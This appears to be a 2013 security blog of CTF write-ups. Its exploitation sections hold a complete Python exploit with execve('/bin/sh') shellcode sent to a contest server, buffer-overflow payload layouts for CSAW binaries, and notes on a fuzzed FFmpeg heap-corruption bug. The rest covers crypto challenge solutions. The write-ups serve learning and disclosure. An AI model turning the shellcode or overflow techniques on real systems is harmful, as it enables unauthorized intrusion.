Monday, December 30, 2013

30C3 CTF - Sandbox 300 - int80 [Team SegFault]

We were given a linux 64-bit ELF armed with PIE and NX. The executable performs the following operations

[*] Allocates 0x200 bytes of memory using memalign()
[*] Makes the area RWX with mprotect()
[*] Reads 0x1D8 of user data into the buffer using fread()
[*] Makes the area RX with mprotect()
[*] Calls the memory area with call rbx

Our aim is to execute shellcode in this buffer, since it has execute permission. But there are restrictions

[*] Some bytes are filtered - 0xCD, 0x80, 0x0F, 0x05, 0x34 before mprotect() is called. This means we cannot execute syscall, sysenter or int80
[*] Self mutating shellcode is not possible since write permission is removed
[*] The executable is PIE. So ROP is not very easy
[*] All the registers are cleared before user supplied input is executed

This is how the registers looked like when RIP points to user code
gdb-peda$ info registers 
rax            0x0 0x0
rbx            0x0 0x0
rcx            0x0 0x0
rdx            0x0 0x0
rsi            0x7ffff8201010 0x7ffff8201010
rdi            0x0 0x0
rbp            0x7fffffffe570 0x7fffffffe570
rsp            0x7fffffffe1c0 0x7fffffffe1c0
r8             0x0 0x0
r9             0x0 0x0
r10            0x0 0x0
r11            0x0 0x0
r12            0x0 0x0
r13            0x0 0x0
r14            0x0 0x0
r15            0x0 0x0
rip            0x7ffff8202028 0x7ffff8202028
eflags         0x10212 [ AF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
Except for RSI, RSP, RBP all registers are cleared. So we decided to find some valid pointers to libc functions near the address pointed by RSI or RSP. Lets check RSI
gdb-peda$ x/2gx $rsi
0x7f67b9d04010: 0x00007f6700000000 0x00007f67b81bbd88

gdb-peda$ vmmap 
Warning: not running or target is remote
Start              End                Perm Name
0x000008c0         0xffffffffff601000 rx-p /home/renorobert/Desktop/int80
0x00000238         0x00007f67b85e9000 r--p /home/renorobert/Desktop/int80
0x00201de0         0x00007fff2c58a000 rw-p /home/renorobert/Desktop/int80
At RSI+0x8 we have an address which can point into the GOT entry of the executable with a fixed offset.
gdb-peda$ p/x 0x00007f67b85e9000-0x00007f67b81bbd88
$2 = 0x42d278

gdb-peda$ x/16gx 0x00007f67b81bbd88+0x42d278
0x7f67b85e9000: 0x0000000000201df8 0x00007f67b83e62c8
0x7f67b85e9010: 0x00007f67b81d7200 0x00007f67b7e73ce0
0x7f67b85e9020 <fread@got.plt>:    0x00007f67b7e726f0 0x00007f67b7e24680
0x7f67b85e9030 <signal@got.plt>:   0x00007f67b83e7926 0x00007f67b83e7936
0x7f67b85e9040 <memalign@got.plt>: 0x00007f67b7e86a30 0x00007f67b7e85f40
0x7f67b85e9050 <fflush@got.plt>:   0x00007f67b7e71c90 0x00007f67b83e7976
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0 0x00007f67b83e7996 
0x7f67b85e9070 <sysconf@got.plt>:  0x00007f67b7ec4580 0x00007f67b83e79b6
GOT entry of mprotect:
gdb-peda$ x/gx 0x00007f67b81bbd88+0x42d2d8
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0

gdb-peda$ x/2i 0x00007f67b7ef30c0
   0x7f67b7ef30c0 <mprotect>: mov    eax,0xa
   0x7f67b7ef30c5 <mprotect+5>: syscall  # syscall gadget, our target
So the idea of payload is

[*] Read the address from [RSI+8]
[*] Compute the offset needed to make it point into the GOT entry of mprotect
[*] Read the GOT entry of mprotect()
[*] At mprotect()+5 resides a syscall gadget, use this to complete our shellcode

Shellcode:
mov rcx, [rsi+0x8]      # Read pointer
mov rcx, [rcx+0x42d2d8] # Our computed offset to mprotect GOT
lea rcx, [rcx + 0x4]
inc rcx                 # RCX holds the adddress of syscall gadget

mov rdi,0x0068732f6e69622f 
push   rdi
push   rsp
pop    rdi
push   rax
push   rdi
push   rsp
pop    rsi
cqo    
mov    al,0x3b          # execve("/bin/sh", ["/bin/sh", 0], 0)

call rcx                # syscall
The remote offset was little different from the local value we computed. But we got this right with a small bruteforce. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '88.198.89.210'
#ip = '127.0.0.1'
port = 1024

#local_offset = 0x42d2d8
remote_offset = 0x42d2b8 

shellcode = ( "\x48\x8b\x4e\x08" +
              "\x48\x8b\x89" + struct.pack("<I", remote_offset) +
              "\x48\x8d\x49\x04" +
              "\x48\xff\xc1" +
              "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
              "\x57" +
              "\x54" +
              "\x5f" +
              "\x50" +
              "\x57" +
              "\x54" +
              "\x5e" +
              "\x48\x99" +
              "\xb0\x3b" +
              "\xff\xd1" )

shellcode = shellcode + "A" * (0x1d8-len(shellcode)) # padding

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
soc.recv(128)
time.sleep(0.5)

soc.send(shellcode + "\n")
time.sleep(0.5)
soc.send("cat /home/user/flag\n")
         
print soc.recv(1024)
Flag for the challenge is 30C3_73c2424a3fa0e4e156aa695cf1656cf2

Tuesday, November 19, 2013

CSCAMP CTF Quals 2013 - Crypto 400 - [Team SegFault]

We were given two files for the challenge - public key and encrypted message. Reading the public key with openssl we got
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout 
Public-Key: (768 bit)
Modulus:
    00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
    f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
    84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
    1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
    df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
    6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
    2f:46:2e:79:41:3d:b5
Exponent: 65537 (0x10001)
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout | grep '^ ' | tr -dc '[0-9a-f]'
00cad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06e3e95c26476091b52f462e79413db5
Its a RSA-768 and the N value is already factorized. Factors are available publicly
p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
Generate private key for p and q values and decrypt the file
sage: p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
sage: q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
sage: phi_n = (p-1) * (q-1)
sage: e = 65537
sage: d = inverse_mod(e, phi_n)
sage: d
703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> from Crypto.PublicKey import RSA
>>> keypair = RSA.generate(1024)
>>> keypair.n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
>>> keypair.e = 65537
>>> keypair.d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> keypair.p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
>>> keypair.q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
>>> private = open('private.pem', 'w')
>>> private.write(keypair.exportKey())
>>> private.close()
[ctf@renorobert 400]$ openssl rsautl -decrypt -in message.enc -out /dev/tty -inkey private.pem
F4ct0r!zaTi0N
Flag for the challenge is F4ct0r!zaTi0N

CSCAMP CTF Quals 2013 - Crypto 300 - [Team SegFault]

We were given about 12 encrypted messages and the challenge description said Many Time Pad and 12th message holds the flag. Below is the encryption algorithm
import os

key = os.urandom(1024)
messages = [message.rstrip('\n') for message in open("messages")]

def xor_string(x, y):

    if len(x) > len(y):
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x[:len(y)], y)])
    else:
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x, y[:len(x)])])

print key.encode('hex')

for i in range(0, len(messages)):
    print "Message #{0}: {1}".format(i, xor_string(key, messages[i]).encode('hex'))
The messages are encrypted by XOR encryption using randomly chosen key whose length is equal to length of plain text. To decrypt the flag message we decided to bruteforce the key. Below is the idea:

[*] Bruteforce key in range of 0 to 0xff for each byte of 12 cipher texts
[*] See if the chosen key is able to decrypt a byte of cipher text to a printable character in charset [space, 0-9, A-Z, a-z] for all 12 given cipher texts
[*] Such a chosen key is a possible candidate to be final key

The above method created some collisions but was good enough to retrieve the flag. Below is the code
#!/usr/bin/env python
# cry300.py

ciphers = ['2838febbef072500b57a8e41119b051ad0174127b3f11208bd094d092bb9b6edfe0b655377a1dd6ccb5870d3ae250d91b9d097b5d13b569545c9fd0f3940195356d89ed9a99140b44fca2e5dffe40f37f07a',
'3a39badcc70c6143b47e981500974057dd100626a9f10e09af5d021731b9a8e1ec4c671c71abdd79cd5970fdac204a90f0c998f1f33012c14edeb802244215071edbccdeaddc14b14b862f1cece10572e56c80fb267a0a0b93e0458fdc3059c95ba33af02189', '2b23eebbdf0d6141b47ed9121081051ac816473be7a50e05fc17180438f4a4e2f90b6d5a38829269855523b4a0224e9aa2c297bfd37f028e0dd8af16244f514611df85d8b7c514a8428f271cfae70831eb298ef52772431cc1f65198d1740dc957ed29eb',
'2838febbef072500a57a950d0097404ed41b062bb5a8460cbd1309401af8b3f8e50b63527ce58965c01c37f5b5294887b9c899f1c030118459c4b8117048170702d68996b3d040b958996a5fece30d37e72985ff6a4c4f0992a54595dd743ece5aa33df933c489caa16c8290717a85d2d470f6a6529d', '2f39e8bbdc002452a33b9012459d0f1ace1b553fa2b21240b31b4d103aebb2e3e358224b71b1952de25334', '213fe9bbc00d2044e67a9705459b09499c164726b5a24617b90f084028f1a8f8e80b6e5573a0dd7aca533cb4a0320d82b8cf8ab4943e05c15ec2b21470461f4356d685c5e4d44db959ca3d59ffea4133f0298cba2c734b0584a54b9d993210d35b', '2838febbdc002400a36d9c0f0c9d071add10426fb3b90340b1121f0e36f7a6acfa4e705938b19568855a39f2b5290d91b1df', '2533eebbce092d4ce67a95120ad31355d11b0620a1f11208b95d050131fda7f9e15822537ee58d78d74c3fe7a4614b9aa28696b4c67f178f498cb1063151140702d689dbe4c55cbd5eca3954e8af0c33fa298af62f7e444895ed4196993517c51ef12bfa318f9882a87dd0d96b3586', '3d3effbbe4271364e6739c001797404ed41b0639a8b80505fc120b4026f6b4fead5c6d4e7cb6dd6ccb5870e3a0320d82a2c98ab9943e18850ddfaa022242515417c785d8a3', '3d3effbbe4271364e662961417d32755d85e5127aeb20e40bb1208137ffba4eae259671c61aa882dcd5970e7a9204199f0c097b6dc2b568742defd1a3f52514615dd83c4a0d85abb0a9e251cece30d72f7618cee6a774f4885ec40dbdf3b0b8147ec3bb82d8adde7a761d28d253897d5c822f4e94496af2235eb4bab26',
'2b23eebbc91b6146a969d9180a86404ec90c486fbebe1340bd1309402bf8aae9ad526d496ae59762d04e3ef1b861449ba4c9dea5dc3a569644c0b90622491454059e8ecfe4c55cb90a9d2b45ade00772f76188ba187a4e4892e045', '2437e3f9cd48384fb3718c1211950f4fd21a4b2ea9a80d05a50e4d092cb9b5e4e80b63526bb2987f85453fe1e1324890bb']

# possible charset space, 0-9, A-Z, a-z
charset = [32] + range(48, 58) + range(65, 91) + range(97, 123)
poss = []
exception = False

# for all characters in cipher text of flag message
for i in range(len(ciphers[11].decode('hex'))): 
    sol = []
    for key in range(256):   # for all possible keys
        pad_size = 0
        for cipher in range(len(ciphers)): # for each cipher text
            try:
                byte = ord(ciphers[cipher].decode('hex')[i])
            except IndexError:
                exception = True
                continue
            if (byte ^ key) in charset:  # check if a key can decrypt to printable text
                pad_size += 1
                if not exception:
                    if pad_size == len(ciphers):
                        sol.append(chr(byte ^ key))
                else:
                    if pad_size == len(ciphers) - 1:
                        sol.append(chr(byte ^ key))
    poss.append(sol)
print poss
[ctf@renorobert CSCAMP]$ python cry300.py
[['m', 'n', 'h', 'i', 'j', 'M', 'N', 'H', 'I', 'J'], ['g', 'f', 'e', 'c', 'b', 'a', 'm', 'l', 'G', 'F', 'E', 'C', 'B', 'A', 'M', 'L'], ['i', 'h', 'o', 'n', 'l', 'y'], ['q', 'p', 's', 'r', 'u', 't', 'w', 'v', 'b'], ['H', 'K', 'E', 'G', 'F', 'A', 'h', 'k', 'e', 'g', 'f', 'a'], [' '], ['y', 'l', 'm', 'o'], ['o', 'z', 'y'], ['u', 'c', 'b'], ['z', 'j'], ['u'], ['s', 'e'], ['t'], ['f'], ['o'], ['m', 'l', 'b', 'u'], ['n'], ['d'], ['m', 'y'], ['a'], ['n'], ['y'], ['k', 'y', 'z'], ['e'], ['l', 'n', 'y'], ['s'], [' '], ['i'], ['s'], [' '], ['u', 't', 'w', 'v', 'p', 'e', 'k', 'U', 'T', 'W', 'V', 'P', 'E', 'K'], ['h'], ['e'], [' ', '1', '0', '6', '5', '4'], ['a', 'w', 't'], ['n'], ['s'], ['w', 'a'], ['e'], ['r'], [' '], ['y'], ['o'], ['e', 'd', 'u'], [' '], ['s', 'b', 'c', 'a'], ['e'], ['S', 'X', 'Y', 'B', 'C', 'D', 'E', 'F', 'G', 's', 'x', 'y', 'b', 'c', 'd', 'e', 'f', 'g'], ['z', 's', 'r', 'k']]
Some characters decrypted without collisions, rest of the characters were guessed as youjustfoundmanykeys is the answer you seek. Flag for the challenge is youjustfoundmanykeys

Tuesday, October 29, 2013

EMC Defenders League - Round 3 - ElGamal Cryptosystem

A ruby script was given, looking at the code its easily identified as ElGamal cryptosystem
def encrypt(plaintext)
  begin
    p,g = File.read("public.key").split.map(&:to_i)   # prime p and generator g
    x = File.read("secret.key").downcase.unpack("H*").first.to_i
  rescue
    raise "Could not read the keys."
  end
  y = mod_pow(g,x,p)     
  msg = plaintext.unpack("H*").first.to_i(16)  
  enc = []
  while msg!=0 do
    k = rand(2**512)
    while k.gcd(p-1)!=1
      k = rand(2**512)     # ephimeral key
    end
    msg , m = msg.divmod(p)    # quotient , remainder
    a = mod_pow(g,k,p)     # cipher_one

    b = (m * mod_pow(y,k,p)) % p   # cipher_two
    enc.push([p,g,y,a,b])
  end
  return enc
end
Also a directory listing was given, which read
-rw------- 1 user1 user1    9 Sep 12 16:59 secret.key
So, it looks like the private key is a small number. From the code y = g^x mod p , where y,g and p are public. I wrote a GMP C code to brute the value of x. Now its the matter of decrypting the value of cipher text from the given file
#!/usr/bin/env sage -python

from sage.all import *

a = [10264935714840344555659480530391531504799751837786398398316078563294217410270167702155077526394934157060210816906645541211888193204711479484170362078382934, 6823073135499190154483378335285592356188617899094830851286814357379354454127003397049290347022567266459967665409741524356428389256663366725696511671610252, 6799828613544592377533880394625646977560051635952644078042208063362163512223938553938795141149658062454075205535854660371542763834499519406362703514503332, 672505970984355266693231966226618520516336889495074224541849620341452271159684475161636332714848734553160854293600007936085992661979551831016772987917068]
b = [10340609465224600321180300969872222181794348193568386018372923576739867282485924452563065089417849300140351755230325685204557146183945278941161645372102509, 5281134801218769020778720412885415834550804855232111764210295764635532757913976877308711845460529040416820894758873972605710392788924240448443272640451982, 457101717286387383800532326852190913868486287682428841339947697619176026876915473073415513803021227080851888197491621726415573291680046893149593865864624, 589149635285693973671288870900610302399060697179753365215668035230635162797171706009867229016045306799390816419364037357020145534760948533979498925094150]
mod = 11994453392181474037639262741550096843127850786293620241343626519409002514576698974663696483571708872339453054238999399420344927969237949604807335692536203

private = 77656
dec = []
for i in range(4):
    dec.append( (b[i] * inverse_mod(a[i]^private, mod)) % mod)

q = 0
for i in range(3, -1, -1):
    msg = (q * mod + dec[i])
    q = msg

dec = hex(q)[2:]
dec = dec[:len(dec)-1].decode('hex')
print dec
Yourt passwordh muste be ats leaste 18770c charactersr ande cannott repeat anyc ofo yourd previouse 30689 passwords.i Pleases type ag differenty password.8 Type4 ai password7 thatf meetso thesev requirements1 int boths textw boxes..
Collect the last character of each word to retrieve message.

EMC Defenders League - Round 2 - Hill Cipher Known Plain Text Attack

Couple of cipher text and password for first cipher text was given. Our aim was to decrypt the second message to find the flag for the challenge. First, lets decrypt the cipher text for which we have the key.
Cipher Text:
-6N.AAH79T2N3Z?M2XMW9O6261HOVPC,VIRA1RNOOO,9QZHGXDPDGD5CHPIQ369Z0 Z.0A2QKE57ISF,IRZUPDZS6R5UWM9IECDDQPMUN337X331G8D,23QLW8QT4XP76YAS 4SKJTRJJ3A TIAQPHQPL9UU1YHSWU9V2

Key:
JACKNJ1LL

Charset:
_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?,-

Plain Text:
DEAR_AGENT_ALICE,_OUR_FRIEND_AGENT_CARLOS_GOT_CAUGHT_SO_OUR_KEY_AND_CODEWORD_MAY_HAVE_BEEN_COMPROMISED._PLEASE_CHANGE_THE_KEY_AND_SEND_THE_NEW_CODEWORD_-_AGENT_BOB__
The key given was 9 chars long, so the key matrix should be 3x3. The length of first cipher text is 165 bytes, so it must be a 3x55 matrix. Ok, we need more details. Lets try and interpret few information from the decrypted plain text. If message format is the same, the header of 2nd cipher text must be from plain text mentioned below[ALICE --> BOB]
DEAR_AGENT_BOB,_ # 16 bytes
Also, the footer must be something similar to
_-_AGENT_BOB__  # 16 bytes
Cipher text two:
7BQE,IZ0ZILXX0B8FJKZGYAM35F7LG.6W8AIBNEBNZS2VSZYEG0QF0PJC LY0FFVU7K028DHW2GWE 9DQG.MEDOUC?AAWR,ZQF9X,VK9JKQTUMF5OW2ZFERF # 120 bytes
With the above information, we must be able to partially recover the key. If the key is 3x3 matrix, the plain text must be represented as 3x40 matrix for encryption
cipher_matrix = 
[34, 2, 17, 5, 39, 9, 26, 27, 26, 9, 12, 24, 24, 27, 2, 35, 6, 10, 11, 26, 7, 25, 1, 13, 30, 32, 6, 34, 12, 7, 37, 33, 23, 35, 1, 9, 2, 14, 5, 2, 14, 26, 19, 29, 22, 19, 26, 25, 5, 7, 27, 17, 6, 27, 16, 10, 3, 0, 12, 25, 27, 6, 6, 22, 21, 34, 11, 27, 29, 35, 4, 8, 23, 29, 7, 23, 5, 0, 36, 4, 17, 7, 37, 13, 5, 4, 15, 21, 3, 38, 1, 1, 23, 18, 39, 26, 17, 6, 36, 24, 39, 22, 11, 36, 10, 11, 17, 20, 21, 13, 6, 32, 15, 23, 29, 26, 6, 5, 18, 6]

Prologue of plain text:
[4, 5, 1, 18, 0, 1, 7, 5, 14, 20, 0, 2, 15, 2, 39, 0]

Epilogue of plain text:
[0, 40, 0, 1, 7, 5, 14, 20, 0, 1, 12, 9, 3, 5, 0, 0]
With the know plain text in row 1 and row 3, lets solve a set of linear equations to find the partial key inverse(key[3x3]) * cipher[3x40] == plain[3x40]
Linear equations for 1st row of inverse key matrix
sage:  var('a,b,c')
(a, b, c)
sage: solve_mod([34*a+14*b+17*c == 4, 2*a+26*b+7*c == 5, 17*a+19*b+37*c == 1], 41)
[(18, 5, 18)]
Solving a set of set of linear equations for row 3
sage:  var('g,h,i')
solve_mod([2*g+4*h+6*i == 0, 5*g+36*h+18*i == 5, 14*g+0*h+5*i == 3], 41)
[(6, 9, 33)]
So the row 1 and row 3 of inverse key matrix is recovered
[(18, 5, 18),
 (x , y, z ),
 (6 , 9, 33)] 
With this key, we can recover the plain text from row 1 and row 3
cipher = matrix([[34, 2, 17, 5, 39, 9, 26, 27, 26, 9, 12, 24, 24, 27, 2, 35, 6, 10, 11, 26, 7, 25, 1, 13, 30, 32, 6, 34, 12, 7, 37, 33, 23, 35, 1, 9, 2, 14, 5, 2], [14, 26, 19, 29, 22, 19, 26, 25, 5, 7, 27, 17, 6, 27, 16, 10, 3, 0, 12, 25, 27, 6, 6, 22, 21, 34, 11, 27, 29, 35, 4, 8, 23, 29, 7, 23, 5, 0, 36, 4], [17, 7, 37, 13, 5, 4, 15, 21, 3, 38, 1, 1, 23, 18, 39, 26, 17, 6, 36, 24, 39, 22, 11, 36, 10, 11, 17, 20, 21, 13, 6, 32, 15, 23, 29, 26, 6, 5, 18, 6]])

key = matrix([[18, 5, 18],[0, 0, 0], [6 , 9, 33]])

plain = (key*cipher)%41
[ 4  5  1 18  0  1  7  5 14 20  0  2 15  2 39  0 19  1  4  0 20 15  0  8  5  1 18  0  1  2 15 21 20  0  1  7  5 14 20  0]
[ 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0]
[30 26 18 23 23 29 24 14 13 18 20  2 14 15  8 10  9 12  9 25 14 28 13 29  2  0 40  0  1  7  5 14 20  0  1 12  9  3  5  0]
Convert this to plain text we get:
charset = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?,-"

text = ''
for i in plain:
    for char in i:
        text += charset[char]
print text
DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_________________________________________3ZRWW2XNMRTBNOHJILIYN1M2B_-_AGENT_ALICE_
We have the partial plain text recovered. Now we have to recover row 2. Looking at the plain text one and partial plain text two, I could predict that the plain text could be
DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_CARLOS  # CARLOS can be predicted
Now solve the linear equations for row 2
sage: var('d,e,f')
(d, e, f)
solve_mod([34*d+14*e+17*f == 3, 2*d+26*e+7*f == 1, 17*d+19*e+37*f == 18], 41)
[(28, 39, 23)]
So, the recovered inverse of key matrix is
[(18, 5, 18),
 (28, 39, 23),
 (6 , 9, 33)] 
Final message is DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_CARLOS._HERE_IS_THE_NEW_CODEWORD_PYYTO4V3ZRWW2XNMRTBNOHJILIYN1M2B_-_AGENT_ALICE_

Tuesday, September 24, 2013

CSAW CTF 2013 Quals - Exploitation 200 | 300 | 400 - [Team SegFault]

Exploitation 200

A Linux ELF 32-bit LSB executable is given without NX. On connecting to the service running on port 31338
[*] We get 4 bytes of data which is the address of buffer used for recv() function and next 4 bytes is the return value of rand()
[*] The return value from rand() is used as a canary check
.text:0804884B    call    _rand
.text:08048850    mov     ds:secret, eax
.text:08048855    mov     eax, ds:secret
.text:0804885A    mov     [ebp+var_C], eax     ; canary

.text:080488D5    mov     dword ptr [esp+0Ch], 0   ; flags
.text:080488DD    mov     dword ptr [esp+8], 1000h ; n
.text:080488E5    lea     eax, [ebp+buf]
.text:080488EB    mov     [esp+4], eax    ; buf
.text:080488EF    mov     eax, [ebp+fd]
.text:080488F2    mov     [esp], eax      ; fd
.text:080488F5    call    _recv    ; recv() overflows buffer

.text:080488FA    mov     [ebp+var_D], 0
.text:080488FE    mov     edx, [ebp+var_C]
.text:08048901    mov     eax, ds:secret
.text:08048906    cmp     edx, eax   ; canary check
Idea of exploit:
[*] 2068 bytes overwrites saved EIP
[*] 2052 bytes overwrites the canary
[*] Use the buffer address received to overwrite saved EIP and received rand() value to overwrite canary
payload = shellcode[80 bytes] + ("A" * 1960) + rand + (buf_addr * 4)
Flag: 53666e040caa855a9b27194c82a26366

Exploitation 300

On connecting to the application it asks for username and password. Provide the harcoded values csaw2013 and S1mplePWD as username and password respectively. Then it asks for Entry Info. Input given here is converted to integer using atoi() and checked if <= 0x400. If <= 0x400, recv() is called with size parameter taken from Entry Info
There is a integer signedness bug leading to buffer overflow. This is what the disassembly looks like
; atoi call
.text:08048EAD    lea     eax, [ebp+buf]
.text:08048EB0    mov     [esp], eax      ; nptr
.text:08048EB3    call    _atoi
.text:08048EB8    mov     [ebp+var_E], ax ; truncation to 16 bits

.text:08048F09    mov     eax, [ebp+arg_4]  
.text:08048F0C    mov     [ebp+var_4AC], ax  ; truncation
.text:08048F13    mov     [ebp+var_C], 0
.text:08048F1A    mov     [ebp+stream], 0
.text:08048F21    movsx   eax, [ebp+var_4AC] ; integer promotion/sign extension

.text:08048F28    mov     [ebp+n], eax
.text:08048F2B    mov     eax, [ebp+n]
.text:08048F2E    add     eax, 1         ; add 1
.text:08048F31    cmp     eax, 400h        ; comparison

.text:08048F5B    mov     eax, [ebp+fd]
.text:08048F5E    mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048F66    mov     edx, [ebp+n]
.text:08048F69    mov     [esp+8], edx    ; n    ; treated as unsigned
.text:08048F6D    lea     edx, [ebp+buf]
.text:08048F73    mov     [esp+4], edx    ; buf
.text:08048F77    mov     [esp], eax      ; fd
.text:08048F7A    call    _recv
So what happens here is
[*] Return value of atoi() is truncated to 16 bits ie. max value can be 0xffff
[*] Sign extension of 0xffff is 0xffffffff ie -1
[*] At 0x08048F31 the check is passed as (-1+1 == 0) <= 0x400
[*] When -1 is used as size parameter in recv() function, it is treated as unsigned int and becomes a huge value leading to buffer overflow

Bypass length check:
[*] soc.send(str(int(0xffff))) will bypass check for 1024 bytes allowing us to overwrite saved EIP

Finding return value with info leak using send()
[*] 1060 bytes overwrites saved EIP
[*] ret-into-ret till a good stack setup is reached like [ret | ret | .. | ret | send@plt | 0xdeadbeef | sockfd 0x4 | valid address in stack | some size parameter |
[*] This will dump data from stack. Using the address found in stack, one can find the location of payload

Final payload looks like this
soc.send("A"*1056 + ret_addr[From leaked stack address - offset] + NOP *100 + shellcode)
Flag: signness_oh_what_a_world_we_live_in

Exploitation 400

Challenge file is a 32-bit statically linked ELF executable. Input of 1024 bytes is taken using read() function resulting EIP overwrite. This was the state of program during crash.
   0x8048f3d: mov    ecx,DWORD PTR ds:0x80f0669
   0x8048f43: mov    edx,0x80f04d5
   0x8048f48: lea    edx,[edx+ecx*4]
=> 0x8048f4b: mov    eax,DWORD PTR [edx]
   0x8048f4d: mov    DWORD PTR [esp],eax
   0x8048f50: ret

EAX: 0x80f0340 ('A' <repeats 200 times>...)
EBX: 0x0 
ECX: 0x41414140 ('@AAA')
EDX: 0xd1409d5 
ESI: 0x0 
EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0444 ('A' <repeats 200 times>...)
EIP: 0x8048f4b (mov    eax,DWORD PTR [edx])
To reach 0x8048f50 without any invalid memory access, we have to overwrite certain areas of memory with valid address. The idea was to load ECX with NULL and EDX with address of .bss so that mov eax,DWORD PTR [edx] doesn't sigsegv. The address where user input is copied, is not randomized, so can be directly used as return address.
Final payload is:
soc.send(NOP*375 + shellcode[26 bytes] + struct.pack("<I",0x080f0450)[ret address] + struct.pack("<I", 0x080f12a0)[.bss address] * 100 + struct.pack("B", 0x00) * 50)
Flag: And_all_I_got_was_this_stupid_key

Tuesday, September 17, 2013

A FFmpeg 0.11.3 Memory Corruption Bug

I was fuzzing a bit during my free time last month. Mplayer produced an interesting crash due to invalid memory access when tested with a fuzzed m2ts file. This is what the crash looked like
=> 0x528da4 <put_image+68>: call   QWORD PTR [rax+0x18]
RAX: 0x4444444444444444 ('DDDDDDDD')
So a crash was noticed at a call instruction and RAX can be user controlled by modifying the file. Here is the backtrace
if(video_out->control(VOCTRL_DRAW_IMAGE,mpi)==VO_TRUE) return 1; 
gdb-peda$ bt
#0  0x0000000000528da4 in put_image (vf=0x17e82b0, mpi=0x1dc4af0, pts=604.16666666666663) at libmpcodecs/vf_vo.c:168
#1  0x00000000004f97eb in filter_video (sh_video=<optimized out>, frame=0x1dc4af0, pts=<optimized out>) at libmpcodecs/dec_video.c:479
#2  0x000000000048ba80 in update_video (blit_frame=0x7fffffffe0e8) at mplayer.c:2487
#3  0x000000000048ff78 in main (argc=<optimized out>, argv=) at mplayer.c:3765
#4  0x00000038b7a1ec5d in __libc_start_main () from /lib64/libc.so.6
#5  0x0000000000482185 in _start ()
A function pointer at an offset 0x18 in structure vo_functions_s is being accessed in put_image function. Since video_out pointer to the structure itself is overwritten with contents from file, we can dereference arbitrary memory location by controlling RAX and call any address. The bug was reported to Mplayer along with PoC and later analysis showed its an issue with FFmpeg. This is what valgrind trace looked like
==4641== Invalid write of size 8
==4641==    at 0xA08407: put_h264_qpel16_mc00_sse2 (dsputil_mmx.c:464)
==4641==    by 0x7C65C6: hl_decode_mb_444_simple (h264.c:532)
==4641==    by 0x81551F: ff_h264_hl_decode_mb (h264.c:2445)
==4641==    by 0xA69AFA: ff_er_frame_end (error_resilience.c:710)
==4641==    by 0x7ACDD7: field_end (h264.c:2787)
==4641==    by 0x835CA9: decode_frame (h264.c:4596)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
==4641==    by 0x4F9894: decode_video (dec_video.c:393)
==4641==    by 0x48B803: update_video (mplayer.c:2463)
==4641==    by 0x48FF77: main (mplayer.c:3765)
==4641==  Address 0xc8c7430 is 0 bytes after a block of size 523,344 allocd
==4641==    at 0x4A072B5: memalign (vg_replace_malloc.c:727)
==4641==    by 0x4A0737A: posix_memalign (vg_replace_malloc.c:876)
==4641==    by 0xAF200C: av_malloc (mem.c:95)
==4641==    by 0xAF20A5: av_mallocz (mem.c:187)
==4641==    by 0x8DE53B: ff_alloc_picture (mpegvideo.c:341)
==4641==    by 0x8DEE84: ff_MPV_frame_start (mpegvideo.c:1193)
==4641==    by 0x7AD21F: ff_h264_frame_start (h264.c:1430)
==4641==    by 0x7AE4C0: decode_slice_header (h264.c:3320)
==4641==    by 0x834F82: decode_nal_units (h264.c:4330)
==4641==    by 0x835C6D: decode_frame (h264.c:4574)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
There was out of bound read/write in H.264 code of FFmpeg leading to heap corruption.

Timeline of Bug:
